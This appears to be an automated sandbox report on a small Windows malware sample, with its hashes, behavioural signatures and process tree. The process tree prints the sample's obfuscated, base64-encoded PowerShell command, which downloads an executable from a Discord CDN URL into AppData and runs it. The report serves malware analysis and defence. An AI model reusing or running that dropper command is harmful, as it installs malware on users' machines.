Analysis
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max time kernel
43s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
24-12-2022 19:26
Static task
static1
Behavioral task
behavioral1
Sample
1.exe
Resource
win7-20220812-en
windows7-x64
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
1.exe
Resource
win10v2004-20221111-en
windows10-2004-x64
11 signatures
150 seconds
General
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Target
1.exe
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Size
5KB
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MD5
c735194e98e65e8eef9f8ff0e7ebb438
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SHA1
ac5045e63d0a25902f46639fbef893e490e99ae4
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SHA256
a0dd0fd9b082e1e5c66861ab460fce6d9f50b4369def04da73841e5387606837
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SHA512
c6fb11ef987ca0bd6787ab533aaf7fd82c6c7ea06aea9d5cde27f83864f2d418d037a761fbfed68e07a9ec5928eb2f8a77506c1f44467970dd88edce4a052c0a
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SSDEEP
96:8G791ll3VI287thtvk+PuAYks9vk+Pf1cvHd3ojxrl:/91/33Y5vkCYlvkeCHdW
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 916 powershell.exe 5 916 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 916 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
1.exedescription pid process target process PID 2016 wrote to memory of 916 2016 1.exe powershell.exe PID 2016 wrote to memory of 916 2016 1.exe powershell.exe PID 2016 wrote to memory of 916 2016 1.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAbgBuACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANQA2ADAANAA2ADUANAA0ADQANgAyADIAMwAzADcAMAAvADEAMAA1ADUANgAwADQANwA3ADUAMAAwADMAMAA5ADkAMQA4ADYALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAHAAZgB2ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagB3AG0AIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegB2AGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAuAGUAeABlACcAKQApADwAIwBuAGUAZgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGsAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbgBuAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAuAGUAeABlACcAKQA8ACMAYQBjAHAAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/916-56-0x0000000000000000-mapping.dmp
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memory/916-58-0x000007FEF3AA0000-0x000007FEF44C3000-memory.dmpFilesize
10.1MB
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memory/916-59-0x000007FEF2F40000-0x000007FEF3A9D000-memory.dmpFilesize
11.4MB
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memory/916-60-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
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memory/916-61-0x000000001B7B0000-0x000000001BAAF000-memory.dmpFilesize
3.0MB
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memory/916-62-0x00000000024FB000-0x000000000251A000-memory.dmpFilesize
124KB
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memory/916-63-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
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memory/916-64-0x00000000024FB000-0x000000000251A000-memory.dmpFilesize
124KB
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memory/2016-54-0x0000000000230000-0x0000000000238000-memory.dmpFilesize
32KB
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memory/2016-55-0x000007FEFB731000-0x000007FEFB733000-memory.dmpFilesize
8KB